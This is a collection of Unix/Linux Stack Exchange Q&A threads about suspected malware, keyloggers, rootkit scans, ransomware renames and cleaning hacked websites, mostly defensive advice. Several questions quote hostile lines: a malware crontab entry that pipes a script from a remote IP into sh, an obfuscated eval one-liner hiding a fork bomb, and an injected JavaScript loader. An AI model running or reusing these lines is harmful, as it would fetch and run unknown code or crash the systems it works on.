I am not asking what to do with an compromised box.
Specifically, I am asking if anybody has experience with hack/malware amongst other files leaves files "/usr/bin/fake.cfg" and "/usr/bin/fuck". I can see in part what it is doing and how. I realize the most appropriate course of action is to disconnect from inte... |
Out of curiosity I found this, were they discuss the analysis of a malware attack.
http://remchp.com/blog/?p=52
About fake and fuck, often attackers load up tools to facilitate their work.
About fake.cfg, there is indeed an util in Linux called fake.
$apt-cache search fake | grep ^fake
fake - IP address takeover tool ... | Compromised server with malware "/usr/bin/fuck" and "/usr/bin/fake.cfg" |
1,286,269,342,000 |
So, I have installed Windows 7 in Oracle's VirtualBox (5.0.8) and I would like to know if the Windows 7 software (including viruses and malware) is able in the default VirtualBox settings access the keyboard input outside of the VirtualBox.
I mean, if, for example, a keylogger inside my Windows 7 VM is able to catch t... |
With default settings, software in a Windows 7 guest would not be able to access the keyboard input from outside of Virtualbox such as the host or another running guest. Access to the host OS resources would have to be permitted explicitly in some way to permit the guest control.
However, human error can always sabot... | Oracle's VirtualBox and keyloggers |
1,286,269,342,000 |
I think my Linux laptop has been hacked, for three reasons:
Whenever I saved files into the Home folder, the files wouldn't appear - not even in the other folders on my computer.
An unfamiliar .txt file has showed up in my Home folder. Having noticed it, I didn't open it. I immediately had a suspicion that maybe my l... |
Based on the details in your question, your system is clean.
You're making backups. OK.
clamav comes up clean. That's fine, too.
Based on your output of chkrootkit, your system is clean. Those files listed as suspicious are benign. The Ebury/Windigo detection is a false positive: https://github.com/Magentron/chkrootk... | bash: /var/log/rkhunter.log: Permission denied (as root - Linux Mint 18.3) |
1,286,269,342,000 |
Is there any virus attack on any of the current distributions of Linux?
if there is any, how was it solved? have they used any anti virus programs which are available now?
|
There is a worm going around for an exim4 vulnerability in Debian: http://blog.bytemark.co.uk//2010/12/12/fresh-worm-food
| Is there any Virus attack in Linux? |
1,286,269,342,000 |
Today I ran a clamscan -ri / and got some positives for some malware. Most are in the "spam" folder, so that's no problem. But one is among my saved e-mails:
/home/user/.icedove/bfa059u1.default/ImapMail/imap.server.com/INBOX.sbd/saved: Doc.Dropper.Agent-1552723 FOUND
"Icedove" is Debian's rebranded Thunderbird. "sav... |
Make a copy of your mbox to Maildir format, for example using this Perl script or the terminal mail client mutt(1). Then clamscan that maildir – as each message is stored in a separate file in the maildir format, you'll be able to identify the offending message and hence be able to remove it from your original mbox ..... | How to find out which particular e-mail in Thunderbird/Icedove that contains malware Doc.Dropper.Agent-1552723 pointed out by Clamscan? |
1,286,269,342,000 |
HW/SW/whatever keyloggers are there. How to find out? E.x.: Regularly check the cable of the keyboard, because there could be HW keyloggers:
https://i.sstatic.net/kgfbY.jpg
But what about other HW keyloggers, or Software keyloggers? [Using a Linux, e.x.: Fedora or Ubuntu for OS!] - How to track keylogger softwares/so... |
If your system has been compromised at the root level, then the attacker can hide a keylogger from anything you try to detect it - by linking in a custom kernel module that intercepts the system calls that might lead to its detection at the kernel level.
If that's what you suspect has happened, your only way to be re... | How to find out that someone is using a Keylogger on the machine I am using? |
1,286,269,342,000 |
I have installed Ubuntu 20.04 along with Windows 10 on my laptop. I use Windows for games and Ubuntu for work.
I wonder if I download some virus on Windows, will it be able to access data from Ubuntu and steal it? By data from Ubuntu I mean for example my browsing history while I was on Ubuntu.
|
will it be able to access data from Ubuntu and steal it
Yes, it can, e.g. if you use something like ext2fsd and have your Linux partitions mounted in Windows.
Even if you don't mount anything, advanced malware could read your disks directly and search for certain patterns in disk images and extract necessary files b... | Can malware from Windows access Ubuntu files? |
1,286,269,342,000 |
Related:
https://serverfault.com/questions/748417/something-renames-files-to-filename-ext-suspected
https://stackoverflow.com/questions/32835796/php-file-automatically-renamed-to-php-suspected
I have a customer with a webhosting server that's running linux who is suffering from this problem. It is not a Wordpress ... |
Use a file change audit mechanism such as LoggedFS or Linux's audit subsystem. See also How to determine which process is creating a file?, Log every invocation of every SUID program?, Stump the Chump with Auditd 01...
Assuming that the server is running Linux, the audit system looks like the best solution. Log all fi... | Something is renaming php files to .php.suspected; I'm trying to find out what |
1,286,269,342,000 |
I'm scanning one of my systems with Clamav like this:
$ clamscan -r -i --remove --max-filesize=4000M --max-scansize=4000M \
--exclude=/proc --exclude=/sys --exclude=/dev --bytecode-timeout=190000
It just found a virus in my download directory:
/home/user/Downloads/jdk-8u31-linux-x64.tar.gz: Java.Exploit.CVE_2013... |
I think that the message Java.Exploit.CVE_2013_2472 FOUND means that
this installer is for a version of Java affected with the security bug
you posted the description of.
If so, it's not a virus at all, just some piece of legit-but-dangerous
software. I would say the message from ClamAV is a bit confusing, and
the act... | Exploit FOUND with clamav on Fedora 21 in Oracle's java |
1,286,269,342,000 |
For me Java is just a security threat. Not many legitimate Linux apps use Java. However there is an abundance in Java malware and malicious remote administration tools like Jrat among others.
But one legitimate app I run like the "Arduino IDE" may unfortunately need Java. So, I want an option to enable or disable Java... |
3 options, as I see it.
1 - Disable browser plugins
I would say that the primary threat of Java is by allowing it to be invoked from the browser. So getting rid of the Java plugins to which ever browser you use would be the best option.
2 - Isolate Java - not on $PATH
Going further if you know that various application... | How do I disable and re-enable Java whenever I want? |
1,286,269,342,000 |
How will making sure my PHP version is updated thwart the Mayhem Malware?
Will updating PHP on my Ubuntu server prevent the Mayhem Malware from being able to make it onto the server, prevent it from running, or something else?
Is there anything else I can do to safeguard against it?
Edit:
This is the most informationa... |
I caught one of the PHP "droppers" in a WordPress-like honeypot. The attackers gained access by guessing a password - brute force guessing, no hacks.
The PHP is entirely ordinary. It does nothing out of the ordinary, it does not call eval, or preg_replace or even base64_decode. There's really nothing you can do at the... | Updating PHP to Gaurd Against Mayhem Malware |
1,286,269,342,000 |
If I include Microsoft's keys in my secure boot setup, then any malware which has a Microsoft key can boot my Linux binary. Can I restrict my Linux binary to be booted only by a bootloader signed with my personal key?
I know I can sign the binary itself with my personal key, but that doesn't prevent malware with a dif... |
If I include Microsoft's keys in my secure boot setup, then any malware which has a Microsoft key can boot my Linux binary. Can I restrict my Linux binary to be booted only by a bootloader signed with my personal key?
No. You misunderstand the chain of trust. Earlier things need to verify later things. Later things ... | Can I require binary X to be booted only by a bootloader signed with key Y? |
1,286,269,342,000 |
I'm trying to recover some file from a Windows archive affected by a "stupid" Crypt0L0cker ransomware. In fact, after a quick check moving files to my own system, it seems that the malware just added a second -random- extension to the files (yah, I know that "extension" doesn't mean nothing). Renaming the files manual... |
First go to the folder archive, then run this:
find | awk -F'.' '{if ($3 != "" && $4 != "" ){system("mv "$0" ./"$2"."$3)}}'
this will look for every file in the folder and in sub folders and if it find that the file have tow extension it will rename it with just the first extension
for example the folder before the ... | Remove recursively double extension added by "stupid" Crypt0L0cker ransomware |
1,286,269,342,000 |
I received a really classic spam mail stating that I have to pay a bill. The mail included an attachment (.exe).
Just for curiosity reasons: What would happen if I click on the attachment? (I am running Crunchbang, no Wine installed)?
Is there a way to securely inspect the attachment?
|
Nothing would happen since a .exe file is meant for Windows, not Linux, so without Wine installed, and without a association to run .exe files from your mail client these files are essentially of no consequence to you.
Still as a best practice you should typically never run things directly from email. You should inste... | Securely inspect email attachment |
1,616,449,287,000 |
today I opened google chrome and saw this on customize and Control menu : "managed by your organization" , is that a malware sign ? if yes how can I completely remove that malware? my os is a Linux RHEL distributions and my chrome version is : 75.0.3770.80 (Official Build) (64-bit)
|
Google announced this is not a problem; if you add a domain account to the machine, Chrome will now show this message.
Many thanks to the esteemed Rui F Ribero who does waay too much for us here, and who provided the original link.
| google chrome “managed by your organization” on linux |
1,616,449,287,000 |
I use Debian 7 and I visit unknown and different websites. I want to know that people say that we get virus form internet and those virus hack our Bank accounts. Do I really need any antivirus?
I have 512 MB RAM. Also, I do not install software from our sources except repository.
My RAM is 47% used.
I have also insta... |
An antivirus for Debian really is not a requirement, but if you share files with others, it may be wise to scan the files before sharing them.
An antivirus isn't very needed because Linux is open source, which means that everyone can tell where the flaws are, even if there are many flaws, but nobody has discovered the... | Do I really need an antivirus on Debian 7? [closed] |
1,616,449,287,000 |
When I use my USB drive on Windows computers, then return to my Linux computer, I find many extra files are added to the drive, often exe files and various folders.
Is it sufficient to delete the new files? Will some viruses be placed inside my files?
Is there some software to help identify and delete these, from Lin... |
There is also the possibility, that any malware install itself in the MBR/VBR boot sectors of the drive. From there it could be executed automatically if booting from USB storage devices is enabled.
As soon as the malware runs, it could install nasty root/bootkits.
To clean the MBR of the usb drive from any malware, i... | Deleting viruses from USB |
1,616,449,287,000 |
I have been researching ClamAV to understand what the "clamd@scan" service does by default in case of finding threats. So far I have not been able to get a satisfactory and clear answer (forums, documentations, etc)...
QUESTION: What does the "clamav@scan" service do by default if it finds threats?
FURTHER QUESTION:... |
QUESTION: What does the "clamav@scan" service do by default if it finds threats?
It informs the client
FURTHER QUESTION: I would like ClamAV to have the "classic" behavior of an antivirus engine, that is, remove threats automatically.
it doesn't do that. it just sits around waiting for something to give it a fil... | ClamAV - What does the "clamd@scan" service do by default? |
1,616,449,287,000 |
In a means to suppress a malware that created a crontab entry below, II introduced the usage of cron.deny
*/5 * * * * curl -fsSL http://62.109.20.220:38438/start.sh|sh
However, all user crontabs suddenly stopped triggering every job.
During troubleshooting, I observed all cron associated file for all users are not ed... |
Stop there! Your system has been infected by a malware. At this point, you can't trust what your system says. The malware may have modified the kernel. What you see is what the malware wants you to see. The system may not behave consistently. Don't expect a file to be modified just because the editor saved it successf... | Why are my crontab user files immutable and doesn't get executed even after changing attribute to mutable? |
1,616,449,287,000 |
Hopefully, not too broad of a question.
For Windows 10, I was considering dual booting at least for the purposes of malware detection and removal. While AVG, and probably others, offer live rescue discs, what is feasible from an outside source?
Ideally I would use a laptop running Linux to scan the windows pc, but le... |
For the most part an AV just scans files. It will remove malicious Windows payloads when running on Linux (and vice versa). The detection doesn't depend on the host architecture or operating system at all, as malware code is not being run by the AV at runtime. So, as long as you mount your Windows NTFS partition somew... | how do I scan the windows partition for malware? |
1,616,449,287,000 |
Recently I connected to my linux a pendrive infected with VBS Jenxcus. Did it affect my operating system?
|
Its coded in VBScript and affects only PCs running Windows distributions.
| Does virus VBS Jenxcus affect Linux operating system? [closed] |
1,616,449,287,000 |
I start needing to scan for viruses all files uploaded to my website. I've implemented a pretty simple prototype which I tested locally and it seemed work well. However, I need to make it more complex by involving more antiviruses to be able scan an uploaded file by each of them. But I'm hesitating. Here are the possi... |
a) Can I scan the same file concurrently by multiple antiviruses at the same time?
Yes you should be able to scan the files concurrently. The only issue is if your server can handle the load of multiple scanners running at the same time. I might do 2 or 3 of them at a time, just to limit things.
b) Should I run ea... | Scanning a file by multiply antiviruses |
1,616,449,287,000 |
I am trying to install LMD linux malware Detect version 1.6.4 on Ubuntu. It shows that the installation was completed successfully; I could even open the conf.maldet for configuration options via terminal, when I try to run the LMD, it says "maldet command not found". I noticed on the installation guides/tutorials on ... |
Command should be executed with superuser privilege, or enable scan_user_access in conf.maldet:
sudo maldet --scan-all
or:
sudo sed -i 's/scan_user_access="0"/scan_user_access="1"/' /usr/local/maldetect/conf.maldet
maldet --scan-all
In your case, to modify the configuration file:
sudo sed -i 's/scan_user_access="0"/... | maldet command not found when installing LMD on Linux Ubuntu |
1,616,449,287,000 |
In Windows, Autoruns tool is a really helpful tool for forensic investigators to help them find suspicious startup executables and filter the benign ones.
but i couldn't anything good like this in linux, so what is the easiest way to achieve what autoruns does in finding suspicious startup apps? any tool like that in ... |
basically lets say you are a forensic investigator and you are given a linux
system like Ubuntu, and are asked to find suspicious startup executables, how
will you do it and what tools will you use to fasten the process?
You can inspect every program executed on a machine using
forkstat. The output will contain
a to... | What is the equivalent of autoruns tool in linux for finding suspicious startup executables? |
1,616,449,287,000 |
I am going to try some Linux live CDs made by individuals. I want to make sure that it doesn't contain malware. How do I do it?
|
I am going to try some linux live CDs made by individuals, I want to make sure that it's not malware contained, how do I do it?
You can't. You're running arbitrary software on your machine; it could do anything at all, and there's simply no way to check for that in advance. They intentionally have the ability to ove... | How can I do a virus scan on a Linux CD or ISO from windows? |
1,616,449,287,000 |
I can't figure out what this is trying to do. The part between backticks looks like a plain old forkbomb, but the base64 doesn't seem to decode to anything sensible. Can you help?
Don't run it, obviously :)
eval $(echo "a2Vrf4xvcml\ZW%3t`r()(r{,54}|r{,});r`26a2VrZQo=" | base64 -d)
|
Pretty sure the base64 string is just a cover up and is never run. The embedded fork bomb runs first and never returns.
| What is the exact function of this malicious bash one-liner? |
1,616,449,287,000 |
The Dr.Web has recently discovered a new linux malware called Linux.MulDrop.14 , targeting rpi with raspbian OS.
Linux.MulDrop.14
Linux Trojan that is a bash script containing a mining program, which is compressed with gzip and encrypted with base64. Once launched, the script shuts down several processes and installs... |
As reported here and here, the Linux.MulDrop.14 malware is a Bash script which exploits the victim by installing and running a crypto-currency mining program. As I understand it, it needs to be run inside the machine to infect it; other vectors of infection aren't specified. Therefore, if you don't run or install dubi... | How to secure Raspberry-Pie controlled over SSH against the Linux.MulDrop.14 malware? |
1,616,449,287,000 |
I have installed wine and I am afraid that viruses will affect my PC now. I will not open any other .exe file other than mine one (which I use everyday)
|
Full disclosure: I'm not a WINE user but found this question interesting so I did a bit of digging. Apparently malware has been found to run inside of WINE, but what is the potenial for it to affect the host system?
I would assume WRT normal windows viruses, there is no meaningful context for them to do their real w... | Could Autorun Virus, affect my PC via Wine? [duplicate] |
1,616,449,287,000 |
I have a number of header.php files that have a malicious script tag contained within them (don't ask). I've written a not-so-elegant shell script to replace these with blank space. I had initially tried to subtract the payload from the header.php but this didn't seem possible as the file was not a sorted list. Below ... |
If, as your answer says, the payload is on a single line by itself, this will do it, while creating backups of the files altered:
find -name header.php -exec sed -i.bak '/someplacedodgy\.kr\/js\/jquery.min.php/d' {} \; -ls
Just be sure that the "someplacedodgy" string is unique to the payload lines.
Omit the .bak f... | How to remove a script tag from a text file with sed |
1,616,449,287,000 |
One of my "CentOS 7" servers is showing very strange behavior. A user named "impress+" executes a command called "cron". This "cron" command is executed with a high CPU consumption.
I worry because I suspect it may be malware...
This server has nothing installed, just "sshd" running.
QUESTION: What can I do to find o... |
Unfortunately my server is infected... =\
Part of the Chkrootkit security utility output ( http://www.chkrootkit.org/ )...
NOTE: Information confirmed via system analysis!
[...]
Searching for Linux.Xor.DDoS ... INFECTED: Possible Malicious Linux.Xor.DDoS installed
/tmp/.X19-unix/.rsync/c/lib/64/libc.so.6
/tmp/.X19-uni... | CentOS 7 Malware? - User "impress+" executes a command ("cron") with a high CPU consumption |
1,616,449,287,000 |
While trying to make sure I have no threats on my iMac I used Bitdefender to perform a full scan and I found this
Output of running ls -la in /dev/fd:
ls -la
total 11
dr-xr-xr-x 1 root wheel 0 Nov 25 16:43 .
dr-xr-xr-x 3 root wheel 5426 Nov 25 16:43 ..
crw---w--- 1 ahmedyounes tty ... |
I wouldn't say that this should be disregarded,
but I agree with duskwuff that
the presentation of the message is nonsense.
And I agree that, even if Bitdefender found something in /dev/fd/9,
it was specific and localized to a process that was running at that instant,
and you won't find anything in /dev/fd now.
I s... | Threats found in /dev/fd |
1,616,449,287,000 |
I have my site infected by a virus. This virus added this line in several files in my site. My idea is to remove this line of text with a unique command from the terminal.
Let's say I have the folder 'my-folder' and inside it, my files: 'file-1.php', 'file-2.php' and so on.
And, let's say there are several files infec... |
You can combine sed with find to make it recursive. Something like that:
find . -type f -name "*php" -exec sed -i.bak 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' {} \+
Note that it will walk through your current directory tree and apply sed to every existing "*php" file. It will also create .... | Linux command to find and remove text from several files at once |
1,616,449,287,000 |
After installing Wine I found that there is a z drive that has direct access to root folder. I have seen many threads and news about virus affecting a linux system through wine. How do I make it more secure?
|
Run wine via firejail.
Some examples and discussion: https://github.com/netblue30/firejail/issues/2219
| How to use wine with more security? |
1,616,449,287,000 |
Let's say, somehow a malware is present on your filesystem (e.g : BusyWinman Malware).
How would you secure your files against being transfered by such a malware to somewhere else?
Please, describe the most restrictive case.
|
Once a malware has made it through your system, the system must be considered compromised and unreliable.
Therefore any mitigation countermeasure, e.g. blocking connections to specific IPs, is unsafe. Unless you reverse-engineered the malware and have acquired a perfect understanding of how it works, you can never be... | Securing files against malware [closed] |
1,616,449,287,000 |
I tried logging in to my admin account and it said password incorrect. There is no way it could have been incorrect since I copy-pasted it from a usb drive. I reset my password, installed chkrootkit and found out that I've been infected with a rootkit. So what do I do, just delete the files chkrootkit reported? Here i... |
In general, you don't have to worry about a Linux rootkit spreading to a Windows system, but you have to be aware that a compromised network can open any system on it up to similar problems.
Don't delete /sbin/init! It controls your boot/shutdown, so deleting it will leave you with an unbootable system.
chkrootkit on... | Linux Mint: I'm infected with a rootkit |
1,616,449,287,000 |
A server of mine was hacked, and they added at the beginning of every js file the following:
var hglgfdrr4634hezfdg = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
var pl = String.fromCharCode(104,116,...,106,115); s.src=pl;
if (document.currentScript) {
document.currentScr... |
perl will have to 'slurp' up the whole file in order to match \n character, so use the -0777 option:
perl -i -0777pe 's/var hglgfdrr4634hezfdg = 1; var d=document;var s=d\.createElement\(\x27script\x27\); s\.type=\x27text\/javascript\x27; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,\.\.\.,106,115\); s\.src=... | Replace (remove) multiple lines from files |
1,616,449,287,000 |
I'm installing Maldet on Debian 9.3:
cd /usr/local/src
wget http://www.rfxn.com/downloads/maldetect-current.tar.gz
tar -xzvf maldetect-current.tar.gz
cd maldetect-*
bash ./install.sh
While doing cd maldetect-* I got:
Bash: Too many arguments
I tried doing cd "maldetect-*" but this command is invalid.
Why can't I a... |
In cd maldetect-*, all files and directories that match that pattern are expanded on the command line. You have at least the .tar file, and probably a directory that was found inside it. You can only be in one directory at a time, so cd to multiple directories makes no sense.
In cd "maldetect-*", there's no expansion.... | cd fails when trying to enter maldetect version-agnostic directory |
1,479,012,077,000 |
I have a server with thousands of files containing a multi-line pattern that I want to globally find & replace.
Here's a sample of the pattern:
<div class="fusion-header-sticky-height"></div>
<div class="fusion-header">
<div class="fusion-row">
<?php avada_logo(); ?>
<?php avad... |
If you want to edit text defined by a context-free language (nested matching begin and end tags, e.g. HTML or XML), you should use a tool made for that instead of a tool for regular expressions.
Such a tool is for example sgrep (available as a package for many linux distros): You can match (nested) regions defined by... | Global multiline search & replace |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.